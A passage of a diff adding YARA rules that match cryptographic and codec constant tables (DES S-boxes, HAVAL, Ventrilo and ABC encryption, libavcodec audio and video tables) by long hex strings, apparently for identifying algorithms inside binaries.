3ffeffff9f249bef3f060000800b06c43f02000040fc4cef3f0b0000c0d99cca3ffcffff3fdde8ee3f000000c07d90d03f030000200e6fee3fffffff3fefc6d33ffdffffffe3dfed3ff9ffff1f80efd63ffcffff9fc33bed3f06000020f907da3ffeffff1f2083ec3ff8ffff3f2e0edd3ffeffffdf7ab6eb3f000000000000e03f000000a063d6ea3f020000e0ae6de13f000000a077e3e93fffffffff22cfe23ffcffff1f61dee83ffcffff7f6423e43f040000a0d7c7e73f030000a08469e53ffcffff5f9ea0e63ffcffff5f9ea0e63f010000808469e53ffdffffbfd7c7e73ffcffff7f6423e43ffeffff3f61dee83fffffffff22cfe23f000000a077e3e93f000000c0ae6de13f020000c063d6ea3f070000e0ffffdf3f000000007bb6eb3ff8ffff3f2e0edd3ffeffff1f2083ec3ffbfffffff807da3ffeffffbfc33bed3ffcffffbf7fefd63fffffff1fe4dfed3f06000020efc6d33f030000200e6fee3ff9ffffdf7d90d03ffcffff3fdde8ee3ffcffff5fd99cca3f02000040fc4cef3fefffff9f0a06c43ffeffff9f249bef3f0b0000e05fc2ba3ffeffff9f1fd3ef3f010000e0c7cbaa3ffcffffdfc5f4ef3fcdd36abda57767be000000000000f03f150000c0cacbaabffcffffdfc5f4ef3f0000006061c2babffeffff9f1fd3ef3ff0ffff3f0b06c4bffeffff9f249bef3ff6ffff1fda9ccabf00000020fc4cef3f080000407e90d0bffcffff3fdde8ee3ff8ffff5fefc6d3bf010000000e6fee3ff9ffff1f80efd6bfffffff1fe4dfed3ff8ffff5ff907dabffcffff9fc33bed3f070000a02e0eddbf050000002083ec3f020000200000e0bffeffffdf7ab6eb3f020000e0ae6de1bf000000a063d6ea3ffdffffdf22cfe2bf000000a077e3e93f000000c06423e4bf0300000061dee83ffcffffbf8469e5bf040000a0d7c7e73ffcffff5f9ea0e6bffcffff5f9ea0e63fffffffdfd7c7e7bffdffff3f8469e53f0000006061dee8bf010000406423e43f020000c077e3e9bffdffffdf22cfe23f000000a063d6eabf020000e0ae6de13ffeffffdf7ab6ebbf020000200000e03f000000402083ecbf090000a02d0edd3ffeffffbfc33bedbf020000e0f807da3fffffff1fe4dfedbf0000000080efd63ffcffff3f0e6feebffaffff5feec6d33ffeffff5fdde8eebff8ffff3f7d90d03f02000040fc4cefbf11000000d99cca3ffeffff9f249befbff0ffff3f0b06c43ffeffff9f1fd3efbf0e00002061c2ba3ffeffffffc5f4efbf14000060c2cbaa3f000000000000f0bfb5bfebc1a57777befcffffdfc5f4efbf10000040c8cbaabffcffff7f1fd3efbff6ffff1f64c2babffcffff7f249befbf0f0000a00c06c4bf00000020fc4cefbf06000080da9ccabffcffff3fdde8eebff9ffffdf7d90d0bf030000200e6feebf06000020efc6d3bffdffffffe3dfedbffaffffbf80efd6bffcffff9fc33bedbf03000080f907dabffeffff1f2083ecbf030000602e0eddbf030000a07ab6ebbffdffff5f0000e0bffeffff7f63d6eabffdffff1faf6de1bffeffff7f77e3e9bf0300004023cfe2bffcffff1f61dee8bffeffff9f6423e4bf040000a0d7c7e7bf030000a08469e5bf010000209ea0e6bf000000a09ea0e6bfffffff5f8469e5bffdffffbfd7c7e7bf030000606423e4bffeffff3f61dee8bf020000a022cfe2bf040000e077e3e9bf04000000af6de1bf000000a063d6eabf000000000000f03f000000000000000004000020bfe6ef3fedffff3fe515b43ffeffff9f249bef3f060000800b06c43f00000080a71def3f0e0000c089e1cd3f030000200e6fee3fffffff3fefc6d33ffdffffbf6b90ed3ffbffffbfe27dd83ffeffff1f2083ec3ff8ffff3f2e0edd3fffffffffd348eb3ffeffffdf4eb8e03f000000a077e3e93fffffffff22cfe23f000000e03e55e83f0200006047c8e43ffcffff5f9ea0e63ffcffff5f9ea0e63f0000004047c8e43f000000e03e55e83fffffffff22cfe23f000000a077e3e93f050000c04eb8e03f01000020d448eb3ff8ffff3f2e0edd3ffeffff1f2083ec3f020000a0e27dd83ffdffffbf6b90ed3f06000020efc6d33f030000200e6fee3f0d00002089e1cd3f00000080a71def3fefffff9f0a06c43ffeffff9f249bef3ffbffffffe415b43f04000020bfe6ef3f000000000000f03f0000000000000000feffff9f249bef3f060000800b06c43f030000200e6fee3fffffff3fefc6d33ffeffff1f2083ec3ff8ffff3f2e0edd3f000000a077e3e93fffffffff22cfe23ffcffff5f9ea0e63ffcffff5f9ea0e63fffffffff22cfe23f000000a077e3e93ff8ffff3f2e0edd3ffeffff1f2083ec3f06000020efc6d33f030000200e6fee3fefffff9f0a06c43ffeffff9f249bef3fcdd36abda57767be000000000000f03ff0ffff3f0b06c4bffeffff9f249bef3ff8ffff5fefc6d3bf010000000e6fee3f070000a02e0eddbf050000002083ec3ffdffffdf22cfe2bf000000a077e3e93ffcffff5f9ea0e6bffcffff5f9ea0e63f020000c077e3e9bffdffffdf22cfe23f000000402083ecbf090000a02d0edd3ffcffff3f0e6feebffaffff5feec6d33ffeffff9f249befbff0ffff3f0b06c43f000000000000f03f000000000000000000000080a71def3f0e0000c089e1cd3ffeffff1f2083ec3ff8ffff3f2e0edd3f000000e03e55e83f0200006047c8e43fffffffff22cfe23f000000a077e3e93f020000a0e27dd83ffdffffbf6b90ed3fefffff9f0a06c43ffeffff9f249bef3ff0ffff7fe615b4bf04000020bfe6ef3ff8ffff5fefc6d3bf010000000e6fee3f020000204fb8e0bffdffffdfd348eb3ffcffff5f9ea0e6bffcffff5f9ea0e63f01000020d448ebbf050000c04eb8e03ffcffff3f0e6feebffaffff5feec6d33ffdffff3fbfe6efbfddffff3fe415b43ffcffff7f249befbf0f0000a00c06c4bffdffffbf6b90edbf020000a0e27dd8bffeffff7f77e3e9bf0300004023cfe2bffcffffff46c8e4bf040000203f55e8bf080000002d0eddbf020000602083ecbf0f0000608ae1cdbf00000080a71defbf000000000000f03f0000000000000000030000200e6fee3fffffff3fefc6d33f000000a077e3e93fffffffff22cfe23fffffffff22cfe23f000000a077e3e93f06000020efc6d33f030000200e6fee3f000000000000f03f0000000000000000000000a077e3e93fffffffff22cfe23f06000020efc6d33f030000200e6fee3ff8ffff5fefc6d3bf010000000e6fee3f020000c077e3e9bffdffffdf22cfe23f000000000000f03f0000000000000000ffffffff22cfe23f000000a077e3e93ff8ffff5fefc6d3bf010000000e6fee3ffcffff3f0e6feebffaffff5feec6d33ffeffff7f77e3e9bf0300004023cfe2bf000000000000f03f0000000000000000000000000000f03f0000000000000000000000000000f03f0000000000000000000000000000f03f0000000000000000070000c0efc6d33f010000000e6feebf }
+
+condition:
+	$a0
+}
+
+	
+rule Ventrilo_encryption_decryption_algorithm__32_lil_44_
+{
+strings:
+	$a0 = { aa0000005500000022000000cc000000690000007c000000380000009100000088000000f5000000e1000000 }
+
+condition:
+	$a0
+}
+
+	
+rule HAVAL_wi4__32_big_128_
+{
+strings:
+	$a0 = { 0000001800000004000000000000000e00000002000000070000001c000000170000001a000000060000001e0000001400000012000000190000001300000003000000160000000b0000001f00000015000000080000001b0000000c00000009000000010000001d000000050000000f000000110000000a000000100000000d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale4__flt32___32_lil_60_
+{
+strings:
+	$a0 = { 13d27d3fd926793f29f9733f3b1d6e3fb648673f39e95e3f9080533ff304353f593b103f65c4fb3ed07cdb3e7404bc3e6c169b3e58446b3e3855053e }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_G729_cb_gain_2nd_8k__16_lil_64_
+{
+strings:
+	$a0 = { 161450029343450710185b09f03e400d3a03d5071d4a2f17ca0700004a3ced004d29960b1c3b3213312dac0472375e069b1ffd12393bc437a0230d02cc33b80c }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_8__16_big_386_
+{
+strings:
+	$a0 = { 40003f1f3e3e3d5d3c7d3b9d3abe39e0390238253748366d359234b933e033093232315c30862fb32ee02e0f2d3f2c722ba52adb2a11294b288527c327012641258124c124012345228a21d2211b20691fb81f0a1e5d1db41d0b1c671bc41b261a8819ea194d18b6181f178d16fb166e15e2155a14d2144f13cc134f12d2125811de116410ea10730ffd0f8b0f1a0eaf0e440ddd0d760d140cb20c550bf90ba10b490af20a9c0a4a09f909ac095f091608ce08890845080407c30786074a071006d6069c0662062a05f205be058a0559052904fb04cd04a304790451042a040303df03bb0397037303520331031202f402d802bc02a20288027002580242022c0216020001ea01d401bf01aa019701840173016201520142013301250118010b00ff00f300e700db00d100c700bd00b300aa00a100990091008a0083007c0075006f00690063005d00570051004c00470042003d003900350031002d002a002700240021001e001b0018001500130011000f000d000b000900070005000300010000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_mpa_enwindow__32_big_1028_
+{
+strings:
+	$a0 = { 00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFDFFFFFFFDFFFFFFFCFFFFFFFCFFFFFFFBFFFFFFFBFFFFFFFAFFFFFFF9FFFFFFF9FFFFFFF8FFFFFFF7FFFFFFF6FFFFFFF5FFFFFFF3FFFFFFF2FFFFFFF0FFFFFFEFFFFFFFEDFFFFFFEBFFFFFFE8FFFFFFE6FFFFFFE3FFFFFFE1FFFFFFDDFFFFFFDAFFFFFFD7FFFFFFD3FFFFFFCFFFFFFFCBFFFFFFC6FFFFFFC1FFFFFFBCFFFFFFB7FFFFFFB1FFFFFFABFFFFFFA5FFFFFF9FFFFFFF98FFFFFF91FFFFFF8BFFFFFF83FFFFFF7CFFFFFF75FFFFFF6DFFFFFF66FFFFFF5FFFFFFF57FFFFFF50FFFFFF49FFFFFF42FFFFFF3CFFFFFF36FFFFFF30000000D5000000DA000000DE000000E1000000E3000000E4000000E4000000E3000000E0000000DD000000D7000000D0000000C8000000BD000000B1000000A3000000920000007F0000006A00000053000000390000001DFFFFFFFEFFFFFFDCFFFFFFB8FFFFFF91FFFFFF67FFFFFF3BFFFFFF0CFFFFFEDAFFFFFEA5FFFFFE6FFFFFFE35FFFFFDF9FFFFFDBBFFFFFD7BFFFFFD39FFFFFCF5FFFFFCB0FFFFFC69FFFFFC21FFFFFBD8FFFFFB8FFFFFFB46FFFFFAFDFFFFFAB4FFFFFA6CFFFFFA26FFFFF9E1FFFFF99EFFFFF95EFFFFF921FFFFF8E7FFFFF8B2FFFFF881FFFFF856FFFFF82FFFFFF810FFFFF7F7FFFFF7E5FFFFF7DBFFFFF7D9FFFFF7E0FFFFF7F1000007F5000007D0000007A0000007650000071E000006CB0000066C000005FF00000586000005000000046B000003CA0000031A0000025D00000192000000B9FFFFFFD3FFFFFEE0FFFFFDDFFFFFFCD2FFFFFBB9FFFFFA94FFFFF964FFFFF82AFFFFF6E6FFFFF599FFFFF444FFFFF2E9FFFFF187FFFFF021FFFFEEB7FFFFED4CFFFFEBDFFFFFEA73FFFFE909FFFFE7A3FFFFE643FFFFE4E9FFFFE399FFFFE253FFFFE11AFFFFDFEFFFFFDED5FFFFDDCDFFFFDCDAFFFFDBFDFFFFDB38FFFFDA8FFFFFDA01FFFFD992FFFFD944FFFFD919FFFFD912FFFFD931FFFFD979FFFFD9EAFFFFDA88FFFFDB53FFFFDC4DFFFFDD78FFFFDED4FFFFE064FFFFE228FFFFE422000019AE00001747000014A8000011D100000EC000000B77000007F50000043A00000046FFFFFC1AFFFFF7B6FFFFF31CFFFFEE4BFFFFE946FFFFE40EFFFFDEA4FFFFD909FFFFD341FFFFCD4CFFFFC72CFFFFC0E5FFFFBA79FFFFB3EAFFFFAD3BFFFFA66FFFFF9F8AFFFF988EFFFF917FFFFF8A60FFFF8335FFFF7C01FFFF74C8FFFF6D8FFFFF6658FFFF5F28FFFF5802FFFF50EBFFFF49E7FFFF42FAFFFF3C27FFFF3573FFFF2EE2FFFF2876FFFF2236FFFF1C23FFFF1642FFFF1097FFFF0B24FFFF05EDFFFF00F6FFFEFC42FFFEF7D3FFFEF3ACFFFEEFD1FFFEEC42FFFEE904FFFEE617FFFEE37DFFFEE139FFFEDF4CFFFEDDB7FFFEDC7AFFFEDB98FFFEDB100001251E }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox8__32_lil_256_
+{
+strings:
+	$a0 = { 40100010001000000000040040100410000000104010001040000000000000104000040000000410401004100010040000100410401004000010000040000000000004104000001000100010401000000010040040000400400004100010041040100000000000000000000040000410400000100010001040100400000004004010040000000400001004100010000040000000400004100010000040100400001000104000000040000010000004104000041000000010000004004010001000000000401004104000040040000010000004100010001040100010000000004010041000100400001004004010000040100000400004000000001000100410 }
+
+condition:
+	$a0
+}
+
+	
+rule ABC_encryption_window1__32_lil_132_
+{
+strings:
+	$a0 = { 0a7bbc8b06a974e7c00e0413d09b14ea1d28e3328955c138a92ec9bda07b586b169800e15147a8ea29cef17746ad94ebd024d6ff95165889d3fbbbf0204b4083eaab669e17e48c79b3df1a8d9fbfc6b852d5ba3b55dd3d92221e46a6b825f8cb5e2639113545cfb9147fc8e7d355f8f454f1777c3cf1c046e629122d000039cf7db183a8 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo3_correctionloworder__32_big_8188_
+{
+strings:
+	$a0 = { 0000000002020202fdfdfdfe0302fefffcfd0101feff03030100fcfd04040404fbfbfbfc05050101fafafeff01010505fefefafb0403fbfcfbfc04040605fdfef9fa0202fdfe06060201f9fa09090404f6f6fbfc04040909fbfbf6f709090909f6f6f6f70a0a0101f5f5feff01010a0afefef5f60807fafbf7f80505fafb08080504f7f80f0f0909f0f0f6f709090f0ff6f6f0f10c0bfcfdf3f40303fcfd0c0c0302f3f410100404efeffbfc04041010fbfbeff010101010efefeff012120000edee000000001212ffffedee0c0bf3f4f3f40c0c100ff6f7eff00909f6f710100908eff01b1b0b0be4e4f4f50b0b1b1bf4f4e4e51c1c1313e3e3eced13131c1cecece3e41615f9fae9ea0606f9fa16160605e9ea1d1d0404e2e2fbfc04041d1dfbfbe2e31e1e1e1ee1e1e1e22120fdfededf0202fdfe21210201dedf1716edeee8e91212edee17171211e8e91e1df0f1e1e20f0ff0f11e1e0f0ee1e22e2e1616d1d1e9ea16162e2ee9e9d1d22f2f0d0dd0d0f2f30d0d2f2ff2f2d0d131312323cecedcdd23233131dcdccecf2928f4f5d6d70b0bf4f529290b0ad6d733330404ccccfbfc04043333fbfbcccd36363636c9c9c9ca2221dddeddde22222a29e2e3d5d61d1de2e32a2a1d1cd5d63c3bf9fac3c40606f9fa3c3c0605c3c44c4c1b1bb3b3e4e51b1b4c4ce4e4b3b44d4d2b2bb2b2d4d52b2b4d4dd4d4b2b33736e7e8c8c91818e7e837371817c8c94f4f0e0eb0b0f1f20e0e4f4ff1f1b0b153533f3facacc0c13f3f5353c0c0acad4a49ebecb5b61414ebec4a4a1413b5b658580202a7a7fdfe02025858fdfda7a85d5d5d5da2a2a2a33d3ccbccc2c33434cbcc3d3d3433c2c3787834348787cbcc34347878cbcb87884b4ad2d3b4b52d2dd2d34b4b2d2cb4b57d7d4b4b8282b4b54b4b7d7db4b482837a7a21218585dedf21217a7adede85866766f2f398990d0df2f367670d0c9899605fd7d89fa02828d7d8606028279fa07f7eddde80812222ddde7f7f222180815958a6a7a6a759596968b1b296974e4eb1b269694e4d96970c0c0c0cf3f3f3f417171717e8e8e8e92a2a2a2ad5d5d5d649494949b6b6b6b70000000000000000000000000000000000000000000000000000000002020202020202020202020202020202020202020202020202020202fdfdfdfefdfdfdfefdfdfdfefdfdfdfefdfdfdfefdfdfdfefdfdfdfe0302feff0302feff0302feff0302feff0302feff0302feff0302fefffcfd0101fcfd0101fcfd0101fcfd0101fcfd0101fcfd0101fcfd0101feff0303feff0303feff0303feff0303feff0303feff0303feff03030100fcfd0100fcfd0100fcfd0100fcfd0100fcfd0100fcfd0100fcfd0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003030303fcfcfcfd0403fefffbfc0101feff04040100fbfc07070707f8f8f8f908080202f7f7fdfe02020808fdfdf7f80908fdfef6f70202fdfe09090201f6f70605f9faf9fa06060d0d0606f2f2f9fa06060d0df9f9f2f30d0d0d0df2f2f2f30e0e0101f1f1feff01010e0efefef1f20c0bf7f8f3f40808f7f80c0c0807f3f417170e0ee8e8f1f20e0e1717f1f1e8e91211fafbedee0505fafb12120504edee18180606e7e7f9fa06061818f9f9e7e818181818e7e7e7e81b1afeffe4e50101feff1b1b0100e4e51110eeefeeef11111716f2f3e8e90d0df2f317170d0ce8e928281010d7d7eff010102828efefd7d829291c1cd6d6e3e41c1c2929e3e3d6d72120f6f7dedf0909f6f721210908dedf2b2b0606d4d4f9fa06062b2bf9f9d4d52e2e2e2ed1d1d1d23231fbfccdce0404fbfc32320403cdce2221e4e5ddde1b1be4e522221b1addde2d2ce9ead2d31616e9ea2d2d1615d2d345452222babaddde22224545ddddbabb46461313b9b9eced13134646ececb9ba49493535b6b6cacb35354949cacab6b73e3deeefc1c21111eeef3e3e1110c1c24d4d0505b2b2fafb05054d4dfafab2b352525252adadadae3332cccdcccd3333403fd4d5bfc02b2bd4d540402b2abfc05a59f5f6a5a60a0af5f65a5a0a09a5a6727229298d8dd6d729297272d6d68d8e747440408b8bbfc040407474bfbf8b8c5251dadbadae2525dadb52522524adae777716168888e9ea16167777e9e988897c7c5f5f8383a0a15f5f7c7ca0a083846f6ee1e290911e1ee1e26f6f1e1d90915c5bb1b2a3a44e4eb1b25c5c4e4da3a47170bbbc8e8f4444bbbc717144438e8f12121212edededee22222222ddddddde3f3f3f3fc0c0c0c16d6d6d6d92929293000000000000000000000000000000000000000000000000000000000000000000000000030303030303030303030303030303030303030303030303030303030303030303030303fcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfd0403feff0403feff0403feff0403feff0403feff0403feff0403feff0403feff0403fefffbfc0101fbfc0101fbfc0101fbfc0101fbfc0101fbfc0101fbfc0101fbfc0101fbfc0101feff0404feff0404feff0404feff0404feff0404feff0404feff0404feff0404feff04040100fbfc0100fbfc0100fbfc0100fbfc0100fbfc0100fbfc0100fbfc0100fbfc0100fbfc070707070707070707070707070707070707070707070707070707070707070707070707f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0afcfcf5f609090909f6f6f6f70706f8f9f8f907070c0bfcfdf3f40303fcfd0c0c0302f3f411110808eeeef7f808081111f7f7eeef11111111eeeeeeef13130101ececfeff01011313fefeeced100ff4f5eff00b0bf4f510100b0aeff01716f9fae8e90606f9fa17170605e8e91f1f1212e0e0edee12121f1fedede0e120200808dfdff7f808082020f7f7dfe021212121dedededf2423feffdbdc0101feff24240100dbdc1716e8e9e8e917171f1eeeefe0e11111eeef1f1f1110e0e136361515c9c9eaeb15153636eaeac9ca37372525c8c8dadb25253737dadac8c92c2bf3f4d3d40c0cf3f42c2c0c0bd3d439390808c6c6f7f808083939f7f7c6c73d3d3d3dc2c2c2c34241fafbbdbe0505fafb42420504bdbe2d2cdbdcd2d32424dbdc2d2d2423d2d33c3be2e3c3c41d1de2e33c3c1d1cc3c45c5c2d2da3a3d2d32d2d5c5cd2d2a3a45d5d1919a2a2e6e719195d5de6e6a2a3616147479e9eb8b947476161b8b89e9f5352e9eaacad1616e9ea53531615acad666607079999f8f907076666f8f8999a6d6d6d6d929292934443bbbcbbbc44445554c6c7aaab3939c6c755553938aaab7877f2f387880d0df2f378780d0c87886e6dcecf91923131cecf6e6e313091927b7a97988485686897987b7b6867848518181818e7e7e7e82e2e2e2ed1d1d1d254545454abababac0000000000000000000000000000000000000000000000000000000000000000000000000000000004040404040404040404040404040404040404040404040404040404040404040404040404040404fbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfc0504feff0504feff0504feff0504feff0504feff0504feff0504feff0504feff0504feff0504fefffafb0101fafb0101fafb0101fafb0101fafb0101fafb0101fafb0101fafb0101fafb0101fafb0101feff0505feff0505feff0505feff0505feff0505feff0505feff0505feff0505feff0505feff05050100fafb0100fafb0100fafb0100fafb0100fafb0100fafb0100fafb0100fafb0100fafb0100fafb0a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a0303f5f5fcfdf5f5fcfdf5f5fcfdf5f5fcfdf5f5fcfdf5f5fcfdf5f5fcfdf5f5fcfdf5f5fcfdf5f5fcfd03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd03030d0dfcfcf2f30908f6f7f6f709090f0efbfcf0f10404fbfc0f0f0403f0f116160b0be9e9f4f50b0b1616f4f4e9ea15151515eaeaeaeb18180202e7e7fdfe02021818fdfde7e81413f1f2ebec0e0ef1f214140e0debec26261717d9d9e8e917172626e8e8d9da1d1cf7f8e2e30808f7f81d1d0807e2e327270b0bd8d8f4f50b0b2727f4f4d8d929292929d6d6d6d72d2cfeffd2d30101feff2d2d0100d2d31d1ce2e3e2e31d1d2726e9ead8d91616e9ea27271615d8d943431b1bbcbce4e51b1b4343e4e4bcbd45452f2fbabad0d12f2f4545d0d0babb3837f0f1c7c80f0ff0f138380f0ec7c847470b0bb8b8f4f50b0b4747f4f4b8b94c4c4c4cb3b3b3b45352f9faacad0606f9fa53530605acad3938d2d3c6c72d2dd2d339392d2cc6c74b4adbdcb4b52424dbdc4b4b2423b4b5737338388c8cc7c838387373c7c78c8d75751f1f8a8ae0e11f1f7575e0e08a8b7a7a58588585a7a858587a7aa7a785866867e3e497981c1ce3e468681c1b97985554aaabaaab55556a69b7b895964848b7b86a6a484795961e1e1e1ee1e1e1e23a3a3a3ac5c5c5c6696969699696969700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000505050505050505050505050505050505050505050505050505050505050505050505050505050505050505fafafafbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafb0706fdfe0706fdfe0706fdfe0706fdfe0706fdfe0706fdfe0706fdfe0706fdfe0706fdfe0706fdfe0706fdfef8f90202f8f90202f8f90202f8f90202f8f90202f8f90202f8f90202f8f90202f8f90202f8f90202f8f90202fdfe0707fdfe0707fdfe0707fdfe0707fdfe0707fdfe0707fdfe0707fdfe0707fdfe0707fdfe0707fdfe07070201f8f90201f8f90201f8f90201f8f90201f8f90201f8f90201f8f90201f8f90201f8f90201f8f90201f8f90b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0bf4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f50d0d03030d0d03030d0d03030d0d03030d0d03030d0d03030d0d03030d0d03030d0d03030d0d03030d0d0303f2f2fcfdf2f2fcfdf2f2fcfdf2f2fcfdf2f2fcfdf2f2fcfdf2f2fcfdf2f2fcfdf2f2fcfdf2f2fcfdf2f2fcfd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0ffbfbf0f10b0af4f5f4f50b0b1211fafbedee0505fafb12120504edee1a1a0d0de5e5f2f30d0d1a1af2f2e5e61a1a1a1ae5e5e5e61d1d0202e2e2fdfe02021d1dfdfde2e31817eff0e7e81010eff01818100fe7e82e2e1c1cd1d1e3e41c1c2e2ee3e3d1d22322f6f7dcdd0909f6f723230908dcdd2f2f0d0dd0d0f2f30d0d2f2ff2f2d0d131313131cecececf3635feffc9ca0101feff36360100c9ca2322dcdddcdd23232f2ee5e6d0d11a1ae5e62f2f1a19d0d151512020aeaedfe020205151dfdfaeaf53533838acacc7c838385353c7c7acad4342edeebcbd1212edee43431211bcbd56560d0da9a9f2f30d0d5656f2f2a9aa5b5b5b5ba4a4a4a56362f8f99c9d0707f8f9636307069c9d4443c9cabbbc3636c9ca44443635bbbc5a59d3d4a5a62c2cd3d45a5a2c2ba5a67c7bdedf83842121dedf7c7c2120838467669899989967677f7ea9aa80815656a9aa7f7f5655808125252525dadadadb45454545babababb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606f9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9fa0807fdfe0807fdfe0807fdfe0807fdfe0807fdfe0807fdfe0807fdfe0807fdfe0807fdfe0807fdfe0807fdfe0807fdfef7f80202f7f80202f7f80202f7f80202f7f80202f7f80202f7f80202f7f80202f7f80202f7f80202f7f80202f7f80202fdfe0808fdfe0808fdfe0808fdfe0808fdfe0808fdfe0808fdfe0808fdfe0808fdfe0808fdfe0808fdfe0808fdfe08080201f7f80201f7f80201f7f80201f7f80201f7f80201f7f80201f7f80201f7f80201f7f80201f7f80201f7f80201f7f80d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0df2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f30f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f0404f0f0fbfcf0f0fbfcf0f0fbfcf0f0fbfcf0f0fbfcf0f0fbfcf0f0fbfcf0f0fbfcf0f0fbfcf0f0fbfcf0f0fbfcf0f0fbfc04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb05051212fafaedee0d0cf2f3f2f30d0d1514f9faeaeb0606f9fa15150605eaeb1e1e0f0fe1e1f0f10f0f1e1ef0f0e1e21e1e1e1ee1e1e1e222220202ddddfdfe02022222fdfdddde1c1becede3e41313eced1c1c1312e3e436362020c9c9dfe020203636dfdfc9ca2928f4f5d6d70b0bf4f529290b0ad6d737370f0fc8c8f0f10f0f3737f0f0c8c939393939c6c6c6c73f3efeffc0c10101feff3f3f0100c0c12827d7d8d7d828283736e1e2c8c91e1ee1e237371e1dc8c95e5e2525a1a1dadb25255e5edadaa1a2606041419f9fbebf41416060bebe9fa04e4deaebb1b21515eaeb4e4e1514b1b264640f0f9b9bf0f10f0f6464f0f09b9c6a6a6a6a959595967473f7f88b8c0808f7f8747408078b8c4f4ec0c1b0b13f3fc0c14f4f3f3eb0b16968cccd96973333cccd69693332969778778788878878782b2b2b2bd4d4d4d550505050afafafb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f90a09fcfd0a09fcfd0a09fcfd0a09fcfd0a09fcfd0a09fcfd0a09fcfd0a09fcfd0a09fcfd0a09fcfd0a09fcfd0a09fcfdf5f60303f5f60303f5f60303f5f60303f5f60303f5f60303f5f60303f5f60303f5f60303f5f60303f5f60303f5f60303fcfd0a0afcfd0a0afcfd0a0afcfd0a0afcfd0a0afcfd0a0afcfd0a0afcfd0a0afcfd0a0afcfd0a0afcfd0a0afcfd0a0a0302f5f60302f5f60302f5f60302f5f60302f5f60302f5f60302f5f60302f5f60302f5f60302f5f60302f5f60302f5f6101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0121205051212050512120505121205051212050512120505121205051212050512120505121205051212050512120505ededfafbededfafbededfafbededfafbededfafbededfafbededfafbededfafbededfafbededfafbededfafbededfafb050512120505121205051212050512120505121205051212050512120505121205051212050512120505121205051212000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb05051414fafaebec0f0ef0f1f0f10f0f1817f8f9e7e80707f8f918180706e7e823231111dcdceeef11112323eeeedcdd22222222ddddddde26260303d9d9fcfd03032626fcfcd9da201fe9eadfe01616e9ea20201615dfe03d3d2525c2c2dadb25253d3ddadac2c32f2ef2f3d0d10d0df2f32f2f0d0cd0d13f3f1111c0c0eeef11113f3feeeec0c141414141bebebebf4847feffb7b80101feff48480100b7b82e2dd1d2d1d22e2e3f3edcddc0c12323dcdd3f3f2322c0c16b6b2b2b9494d4d52b2b6b6bd4d494956e6e4b4b9191b4b54b4b6e6eb4b491925958e7e8a6a71818e7e859591817a6a7727211118d8deeef11117272eeee8d8e79797979868686875b5ab7b8a4a54848b7b85b5b4847a4a57877c5c687883a3ac5c678783a39878831313131cecececf5c5c5c5ca3a3a3a4000000000000000000000000000000000000000000000000000000000000000000000